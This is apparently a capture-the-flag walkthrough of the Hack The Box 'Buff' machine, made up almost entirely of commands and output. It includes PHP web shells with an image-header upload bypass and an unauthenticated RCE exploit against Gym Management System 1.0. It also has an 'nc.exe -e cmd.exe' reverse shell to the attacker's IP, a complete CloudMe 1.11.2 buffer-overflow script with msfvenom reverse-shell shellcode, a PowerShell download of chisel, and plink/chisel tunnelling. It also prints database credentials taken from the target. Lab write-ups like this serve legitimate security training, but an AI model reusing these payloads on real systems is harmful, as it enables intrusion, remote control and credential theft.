GYM MANAGEMENT SYSTEM 1.0 EXPLOIT

NC.EXE

CloudMe 1.11.2 - Buffer Overflow (PoC)

PortForward with Plink.exe

```
PORT     STATE SERVICE    VERSION

7680/tcp open  pando-pub?

8080/tcp open  http       Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)

| http-open-proxy: Potentially OPEN proxy.

|_Methods supported:CONNECTION

|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6

|_http-title: mrb3n's Bro Hut
```

```
root@kali:/home/kali/Desktop/htb/buff# gobuster dir -u http://buff.htb:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php
```

http://buff.htb:8080/up.php

```
Notice: Undefined index: ext in C:\xampp\htdocs\gym\up.php on line 3
```

https://www.exploit-db.com/exploits/48506

```
<?php echo system($_REQUEST["cmd"]); ?>

<?php echo shell_exec($_GET['cmd']);?>
```

```
root@kali:/home/kali/Desktop/htb/buff# cat cmd.php

GIF89;

<?php echo shell_exec($_GET['cmd']);?>
```

```
root@kali:/home/kali/Desktop/htb/buff# python ./exploit.py http://10.10.10.198:8080/
```

```
C:\xampp\htdocs\gym\upload> dir
�PNG
▒
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\xampp\htdocs\gym\upload

19/07/2020  00:13    <DIR>          .
19/07/2020  00:13    <DIR>          ..
19/07/2020  00:13                53 kamehameha.php
18/07/2020  23:50            38,616 nc.exe
18/07/2020  23:51           598,440 plink.exe
               3 File(s)        637,109 bytes

C:\xampp\htdocs\gym\upload> nc.exe -e cmd.exe 10.10.14.27 443
root@kali:/home/kali/Desktop/htb/buff# nc -nlvp 443
SHELL GAINED!!!!!!!
C:\xampp\htdocs\gym>type "New Text Document.txt"
type "New Text Document.txt"
$mysql_host = "mysql16.000webhost.com";
$mysql_database = "a8743500_secure";
$mysql_user = "a8743500_secure";
$mysql_password = "ipad12345";
```

https://www.exploit-db.com/exploits/44470

```
root@kali:/home/kali/Desktop/htb/buff# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.32 LPORT=4444 -f c
root@kali:/home/kali/Desktop/htb/buff# cat bo.py
import socket

target="127.0.0.1"

junk="A"*1052

eip="\x7B\x8A\xA9\x68"          #68a98a7b : JMP ESP - Qt5Core.dll

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.2.1 LPORT=4444 -f c

shellcode=("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x0a\x0e\x20\x68"
"\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"

"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"

"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")


payload=junk+eip+shellcode


s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((target,9001))

s.send(payload)
```

```
root@kali:/home/kali/Desktop/tools# python -m SimpleHTTPServer 80

C:\Users\shaun\Documents>powershell -c "wget 10.10.14.32/chisel.exe -o chisel.exe"
```

```
root@kali:/home/kali# chisel server -p 8888 –reverse

C:\Users\shaun\Documents>chisel.exe client 10.10.14.32:8888 R:8888:localhost:8888
```

```
Nc –nlvp 4444

Python bo.py
```

Here is the port forward process: Step 4.1) Enable sshd service on your kali machine:
- sudo systemctl start ssh.socket

Use Plink to portforward
on your local listener:

```
plink.exe -l kali -pw kali 10.10.14.32 -N -R 9001:127.0.0.1:8888
```